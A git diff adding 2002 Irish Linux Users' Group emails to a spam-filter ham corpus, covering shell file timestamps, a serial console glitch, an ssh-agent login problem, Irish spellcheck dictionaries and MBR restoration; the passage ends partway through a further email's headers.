(un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00206.59111a6330a2d989698c4d92967ed98d b/bayes/spamham/easy_ham_2/00206.59111a6330a2d989698c4d92967ed98d new file mode 100644 index 0000000..3ce7ff1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00206.59111a6330a2d989698c4d92967ed98d @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Thu Aug 1 17:41:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3CD33440F3 + for ; Thu, 1 Aug 2002 12:41:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:41:48 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71Gd1222149 for + ; Thu, 1 Aug 2002 17:39:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA21005; Thu, 1 Aug 2002 17:36:28 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from nmrc.ucc.ie (nmrc.ucc.ie [143.239.64.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA20980 for ; Thu, + 1 Aug 2002 17:36:22 +0100 +Received: from localhost (localhost [127.0.0.1]) by mailhost.nmrc.ucc.ie + (Postfix) with ESMTP id 3A5C5EE99 for ; Thu, 1 Aug 2002 + 17:35:52 +0100 (BST) +Received: (from lhecking@localhost) by tehran.nmrc.ucc.ie + (8.11.6+Sun/8.11.6) id g71GZp108261 for ilug@linux.ie; Thu, 1 Aug 2002 + 17:35:51 +0100 (IST) +Date: Thu, 1 Aug 2002 17:35:51 +0100 +From: Lars Hecking +To: ilug@linux.ie +Message-Id: <20020801163551.GB7945@nmrc.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.5.1i +Subject: [ILUG] Re: Csh shell scripts +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +> quickie for shell scripters: +> How do I find out the time a file was created at? + + There is no canonical test, and the information is not necessarily + available. If you check out how struct stat is defined on your system, + you'll find that only + + time_t st_atime; /* Time of last access */ + time_t st_mtime; /* Time of last data modification */ + time_t st_ctime; /* Time of last file status change */ + /* Times measured in seconds since */ + /* 00:00:00 UTC, Jan. 1, 1970 */ + + are available. File status change = i-node status change, it includes + creation, mode change, ownership change etc., so this is what you want + only if the file status wasn't changed since creation. + + This information is also shown by ls -lc, but parsing ls' output requires + a bit of effort. I'd rather recommend to write a short C program to access + the file status directly, and output the ctime directly (seconds since + the epoch, i.e. perfect for numerical comparison). + + (Another way is to use GNU find -printf with a custom format: + ... + %c File's last status change time in the format + returned by the C `ctime' function. + ...) + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00207.b9d4e94f1d5159f207cfe562194ab0c6 b/bayes/spamham/easy_ham_2/00207.b9d4e94f1d5159f207cfe562194ab0c6 new file mode 100644 index 0000000..71fc310 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00207.b9d4e94f1d5159f207cfe562194ab0c6 @@ -0,0 +1,88 @@ +From ilug-admin@linux.ie Thu Aug 1 17:42:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4191E440F4 + for ; Thu, 1 Aug 2002 12:41:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:41:54 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71Gh0222408 for + ; Thu, 1 Aug 2002 17:43:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA21589; Thu, 1 Aug 2002 17:41:14 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from ocasey.baltimore.com (ocasey.baltimore.com [193.41.17.101]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id RAA21553 for + ; Thu, 1 Aug 2002 17:41:07 +0100 +Received: from Baltimore-FW1 ([172.19.1.1]) by ocasey.baltimore.com + (8.11.6/8.9.3) with SMTP id g71GXmH20140 for ; + Thu, 1 Aug 2002 17:33:48 +0100 +Received: from ([10.153.25.53]) by Baltimore-FW1; Thu, 01 Aug 2002 + 17:40:13 +0100 (BST) +Received: from Baltimore-FW1 (wilde-i-1.ie.baltimore.com) by + emeairlsw1.baltimore.com (Content Technologies SMTPRS 4.2.5) with SMTP id + for ; + Thu, 1 Aug 2002 17:34:17 +0100 +Received: from ([10.153.25.10]) by Baltimore-FW1; Thu, 01 Aug 2002 + 17:40:12 +0100 (BST) +Received: from iris.ie.baltimore.com (iris.ie.baltimore.com [10.153.2.50]) + by bobcat.baltimore.ie (8.9.3/8.9.3) with ESMTP id RAA31787 for + ; Thu, 1 Aug 2002 17:41:03 +0100 +Received: from iris.ie.baltimore.com (paul@localhost) by + iris.ie.baltimore.com (8.11.6/8.11.2) with ESMTP id g71Gf3Z17596 for + ; Thu, 1 Aug 2002 17:41:03 +0100 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: ilug@linux.ie +In-Reply-To: Your message of "Thu, 01 Aug 2002 17:15:27 BST." +From: Paul Mc Auley +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Date: Thu, 01 Aug 2002 17:41:03 +0100 +Message-Id: <17595.1028220063@iris.ie.baltimore.com> +X-MIME-Autoconverted: from 8bit to quoted-printable by bobcat.baltimore.ie + id RAA31787 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + RAA21553 +Subject: [ILUG] Re: serial console question +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, 1 Aug 2002 17:15:27 +0100 +"John P. Looney" wrote: + +| I've found a decrepit raq3 that I'm going to resurrect, as soon as I work +| out what's up with the console. + +| I'm using 115200 8n1 with minicom, and I'm getting wierd stuff like: + +| S+#_+ű INET __+_: +| S+#_+ű Å°_°_ MÄ+Å+ű _+Ä+ °+_<_++_. +| S+#_+ű #+__+ S+#_+ű #+Å + __+_: +| IÅ+#+ _+°#+_ °Ä_ +#Å _+ -- NÄ+ _+#_+ű SSL + +| So it looks like some sort of setting mismatch. Various places on the web +| say that cobalts are setup with 115200 8n1 serial ports, but someone could +| have changed it on this particular box. + +| Anyone care to guess what's up ? + +One possible is that it's toggling the VTx00 alt character set. If +that's the case, feeding ^O to the tty somehow (i.e. cat to the device) +should flip it back. + Paul + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00208.d44ac6333a9b4ad601299143998097b9 b/bayes/spamham/easy_ham_2/00208.d44ac6333a9b4ad601299143998097b9 new file mode 100644 index 0000000..d61a807 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00208.d44ac6333a9b4ad601299143998097b9 @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Thu Aug 1 17:52:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 46228440F0 + for ; Thu, 1 Aug 2002 12:52:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:52:18 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71Giw222486 for + ; Thu, 1 Aug 2002 17:44:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA21810; Thu, 1 Aug 2002 17:43:25 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA21781 for ; Thu, + 1 Aug 2002 17:43:19 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id RAA28045; Thu, 1 Aug 2002 17:42:48 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g71GhWu19977; Thu, 1 Aug 2002 17:43:32 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Thu, 1 Aug 2002 17:43:32 +0100 +From: "John P. Looney" +To: Padraig Brady +Cc: ilug@linux.ie +Subject: Re: [ILUG] stupid pics of the day +Message-Id: <20020801164332.GK5178@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Padraig Brady , + ilug@linux.ie +References: <3D494DAB.9060207@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D494DAB.9060207@corvil.com> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, Aug 01, 2002 at 04:03:07PM +0100, Padraig Brady mentioned: +> Some local Irish wildlife +> +> http://www.iol.ie/~padraiga/pics/wild1.jpg +> http://www.iol.ie/~padraiga/pics/wild2.jpg +> +> was I bored or what? + + Most likely. + + Hey...is that one of my nice wai-yip stuffed ones ? + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00209.3ebcc564b5a595d391416cba9d0696d0 b/bayes/spamham/easy_ham_2/00209.3ebcc564b5a595d391416cba9d0696d0 new file mode 100644 index 0000000..3607736 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00209.3ebcc564b5a595d391416cba9d0696d0 @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Thu Aug 1 17:52:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DB72E440F1 + for ; Thu, 1 Aug 2002 12:52:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:52:18 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71Gk3222538 for + ; Thu, 1 Aug 2002 17:46:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA22153; Thu, 1 Aug 2002 17:44:12 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA22120 for ; Thu, + 1 Aug 2002 17:44:07 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id RAA28091 for ; Thu, + 1 Aug 2002 17:43:36 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g71GiKk19984 for ilug@linux.ie; Thu, 1 Aug 2002 17:44:20 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Thu, 1 Aug 2002 17:44:20 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] Re: serial console question +Message-Id: <20020801164420.GL5178@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <17595.1028220063@iris.ie.baltimore.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +In-Reply-To: <17595.1028220063@iris.ie.baltimore.com> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, Aug 01, 2002 at 05:41:03PM +0100, Paul Mc Auley mentioned: +> On Thu, 1 Aug 2002 17:15:27 +0100 +> | S+#_+ű INET __+_: +> | S+#_+ű Å°_°_ MÄ+Å+ű _+Ä+ °+_<_++_. +> | S+#_+ű #+__+ S+#_+ű #+Å + __+_: +> | IÅ+#+ _+°#+_ °Ä_ +#Å _+ -- NÄ+ _+#_+ű SSL +> +> | So it looks like some sort of setting mismatch. Various places on the web +> | say that cobalts are setup with 115200 8n1 serial ports, but someone could +> | have changed it on this particular box. +> +> | Anyone care to guess what's up ? +> +> One possible is that it's toggling the VTx00 alt character set. If +> that's the case, feeding ^O to the tty somehow (i.e. cat to the device) +> should flip it back. + + Ah right. Seems OK now. I assume that could have happened if the terminal +was in 9600 mode at first, getting wierd characters ? + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00210.ca401834d76bbedb98e548160e2ab559 b/bayes/spamham/easy_ham_2/00210.ca401834d76bbedb98e548160e2ab559 new file mode 100644 index 0000000..cad82cc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00210.ca401834d76bbedb98e548160e2ab559 @@ -0,0 +1,103 @@ +From ilug-admin@linux.ie Thu Aug 1 18:02:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7753B440F3 + for ; Thu, 1 Aug 2002 13:02:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 18:02:31 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71H1m223009 for + ; Thu, 1 Aug 2002 18:01:48 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA23165; Thu, 1 Aug 2002 17:58:27 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay.dub-t3-1.nwcgroup.com + (postfix@relay.dub-t3-1.nwcgroup.com [195.129.80.16]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA23139 for ; Thu, + 1 Aug 2002 17:58:21 +0100 +Received: from mail.magicgoeshere.com (unknown [194.125.152.60]) by + relay.dub-t3-1.nwcgroup.com (Postfix) with ESMTP id 8832270088 for + ; Thu, 1 Aug 2002 15:43:41 +0100 (IST) +Received: from bagend.magicgoeshere.com (ts10-012.dublin.indigo.ie + [194.125.174.139]) by mail.magicgoeshere.com (Postfix) with ESMTP id + 5D837F9A3 for ; Thu, 1 Aug 2002 15:28:24 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + A11C83D976; Thu, 1 Aug 2002 15:51:12 +0100 (IST) +Date: Thu, 1 Aug 2002 15:51:12 +0100 +From: Niall O Broin +To: ilug@linux.ie +Message-Id: <20020801145112.GB2500@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.27i +Subject: [ILUG] Strange ssh problem +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I have a strange problem with one user in a small network using ssh. +Everyone in the network uses ssh and they run an ssh-agent on login. This +works fine for conveniently wandering around the network and to some of our +external boxes - or did, until today. Suddenly, when one user (alfred) tries +to ssh anywhere he's asked for a password. He says He changed nothing (don't +they all) but I do actually believe him. I used ssh-keygen to make new keys +but that didn't help. + +I created a new user alfio into whose home directory I copied alfred's .ssh +directory - alfio can wander around free as a bird without being asked for a +password ever (except of course for the passphrase to load the identiy into +the agent). + +In case there was something else in Alfred' environment, I copied .??* from +alfred's home directory to alfio's, remembering to change ownership +afterwards. Still alfio is as free as a bird. + +We use only SSH2 with DSA keys. An extract from a ssh -v for alfio is below + +debug1: got SSH2_MSG_SERVICE_ACCEPT +debug1: authentications that can continue: publickey,password +debug1: next auth method to try is publickey +debug1: userauth_pubkey_agent: testing agent key /home/alfio/.ssh/id_dsa +debug1: input_userauth_pk_ok: pkalg ssh-dss blen 434 lastkey 0x80916f0 hint -1 +debug1: ssh-userauth2 successful: method publickey + +and before starting this ssh attempt, ssh-add -l for alfio said: + +1024 07:4c:7c:90:0d:28:41:3a:95:c2:81:3d:ba:c4:3d:03 /home/alfio/.ssh/id_dsa (DSA) + +whereas with alfred the same segment of the debug log went + +debug1: got SSH2_MSG_SERVICE_ACCEPT +debug1: authentications that can continue: publickey,password +debug1: next auth method to try is publickey +debug1: userauth_pubkey_agent: testing agent key /nfshome/alfred/.ssh/id_dsa +debug1: authentications that can continue: publickey,password + +and before starting this ssh attempt, ssh-add -l for alfred said: + +1024 07:4c:7c:90:0d:28:41:3a:95:c2:81:3d:ba:c4:3d:03 /home/alfred/.ssh/id_dsa (DSA) + + +This problem is definitely related to alfred as a user - it happens when he +logs in on differing workstations (all NFS mounting the same home +directories) and the other users (including good old alfio) don't have any +problems. + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00211.835ec23b746b6aede4e2e15ced421bb4 b/bayes/spamham/easy_ham_2/00211.835ec23b746b6aede4e2e15ced421bb4 new file mode 100644 index 0000000..f6a1e5e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00211.835ec23b746b6aede4e2e15ced421bb4 @@ -0,0 +1,58 @@ +From ilug-admin@linux.ie Thu Aug 1 22:18:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 68126440F1 + for ; Thu, 1 Aug 2002 17:18:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 22:18:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71LJD230220 for + ; Thu, 1 Aug 2002 22:19:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA00855; Thu, 1 Aug 2002 22:16:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA00820 for ; + Thu, 1 Aug 2002 22:16:45 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17aNJK-0000o2-00 for ; Thu, 01 Aug 2002 14:16:42 -0700 +Date: Thu, 1 Aug 2002 14:16:38 -0700 +From: Rick Moen +To: ilug@linux.ie +Message-Id: <20020801211638.GT6467@linuxmafia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +Subject: [ILUG] ispell _and_ aspell in Irish +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I just heard from Kevin Patrick Scannell, author of the Irish-language +ispell dictionary ("ispell-gaeilge") discussed a month or two ago. +He's revised it, and moreover has added a version for the much-better +aspell package ("aspell-gaeilge"). The latter is particularly good news +for users of OpenOffice.org. + +Details for us anglophones: http://borel.slu.edu/ispell/index-en.html +And in Irish: http://borel.slu.edu/ispell/ + +-- +Cheers, "Transported to a surreal landscape, a young girl kills the first +Rick Moen woman she meets, and then teams up with three complete strangers +rick@linuxmafia.com to kill again." -- Rick Polito's That TV Guy column, + describing the movie _The Wizard of Oz_ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00212.df5211161d938a2547804a50f0a8698f b/bayes/spamham/easy_ham_2/00212.df5211161d938a2547804a50f0a8698f new file mode 100644 index 0000000..48d2bd0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00212.df5211161d938a2547804a50f0a8698f @@ -0,0 +1,63 @@ +From ilug-admin@linux.ie Fri Aug 2 04:05:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8A42C440F1 + for ; Thu, 1 Aug 2002 23:05:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 04:05:27 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7231d205596 for + ; Fri, 2 Aug 2002 04:01:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id DAA13530; Fri, 2 Aug 2002 03:59:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail00.svc.cra.dublin.eircom.net + (mail00.svc.cra.dublin.eircom.net [159.134.118.16]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id DAA13495 for ; Fri, + 2 Aug 2002 03:59:11 +0100 +Received: (qmail 54929 messnum 525144 invoked from + network[159.134.195.202/unknown]); 2 Aug 2002 02:58:40 -0000 +Received: from unknown (HELO ger.eircom.net) (159.134.195.202) by + mail00.svc.cra.dublin.eircom.net (qp 54929) with SMTP; 2 Aug 2002 02:58:40 + -0000 +Message-Id: <5.1.0.14.0.20020802035644.009f3d30@mail1.tinet.ie> +X-Sender: gerdono@mail1.tinet.ie +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Date: Fri, 02 Aug 2002 03:59:32 +0100 +To: Liam Bedford , deedsmis@aculink.net, + ilug@linux.ie +From: ger +Subject: Re: [ILUG] Re: removing lilo +In-Reply-To: <20020731173414.4123f075.lbedford@lbedford.org> +References: <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> + <5FE418B3F962D411BED40000E818B33C9C8E65@HASSLE> + <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +At 17:34 31/07/02 +0100, Liam Bedford wrote: +>fdisk /mbr will restore a dos MBR.. it'll leave the partitions alone. + + +Will clear the Partition table entries in the MBR if it does not end with +valid Boot signature. + +Regards Ger + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00213.8b921d7940c5b2ac05892b648bd77231 b/bayes/spamham/easy_ham_2/00213.8b921d7940c5b2ac05892b648bd77231 new file mode 100644 index 0000000..9bb3f3a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00213.8b921d7940c5b2ac05892b648bd77231 @@ -0,0 +1,60 @@ +From ilug-admin@linux.ie Fri Aug 2 06:39:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C4EFD440F0 + for ; Fri, 2 Aug 2002 01:39:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 06:39:26 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g725Xk209159 for + ; Fri, 2 Aug 2002 06:33:46 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA19274; Fri, 2 Aug 2002 06:31:18 +0100 +Received: from UKExt5.uk.exel.com ([193.132.29.98]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA19222 for ; Fri, + 2 Aug 2002 06:31:03 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.132.29.98] claimed to + be UKExt5.uk.exel.com +From: "Dermot Beirne" +To: "ilug" +Message-Id: +Date: Fri, 2 Aug 2002 06:27:04 +0100 +X-Mimetrack: Serialize by Router on UKExt5/Exel-External(Release 5.0.9a + |January 7, 2002) at 02/08/2002 06:31:02 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Subject: [ILUG] Dermot Beirne/Dublin/IE/Exel is out of the office. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I will be out of the office starting 02/08/2002 and will not return until +06/08/2002. + +I am out of the office until Tuesday 6th August. I will reply to messages +on my return. + +Thank you. +DermotImportant Email Information + +The information in this email is confidential and may be legally +privileged. It is intended solely for the addressee. Access to this email +by anyone else is unauthorized. If you are not the intended recipient, any +disclosure, copying, distribution or any action taken or omitted to be +taken in reliance on it, is prohibited and may be unlawful. If you are not +the intended addressee please contact the sender and dispose of this +e-mail. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00214.4a5f7fc36eda589a5716dd090c67e90a b/bayes/spamham/easy_ham_2/00214.4a5f7fc36eda589a5716dd090c67e90a new file mode 100644 index 0000000..fbcc0f7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00214.4a5f7fc36eda589a5716dd090c67e90a @@ -0,0 +1,102 @@ +From ilug-admin@linux.ie Fri Aug 2 08:44:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E309D440F0 + for ; Fri, 2 Aug 2002 03:44:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 08:44:42 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g727cp211514 for + ; Fri, 2 Aug 2002 08:38:51 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA23868; Fri, 2 Aug 2002 08:36:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay01.esat.net (relay01.esat.net [192.111.39.11]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id IAA23833 for ; + Fri, 2 Aug 2002 08:36:21 +0100 +Received: from www.emuse.ie (hassle.emuse.ie) [193.120.145.154] by + relay01.esat.net with esmtp id 17aWyy-0006i4-00; Fri, 02 Aug 2002 08:36:21 + +0100 +Received: by HASSLE with Internet Mail Service (5.5.2653.19) id ; + Fri, 2 Aug 2002 08:36:49 +0100 +Message-Id: <5FE418B3F962D411BED40000E818B33C9C8E7B@HASSLE> +From: "Hunt, Bryan" +To: "'deccy@csn.ul.ie'" , ilug@linux.ie 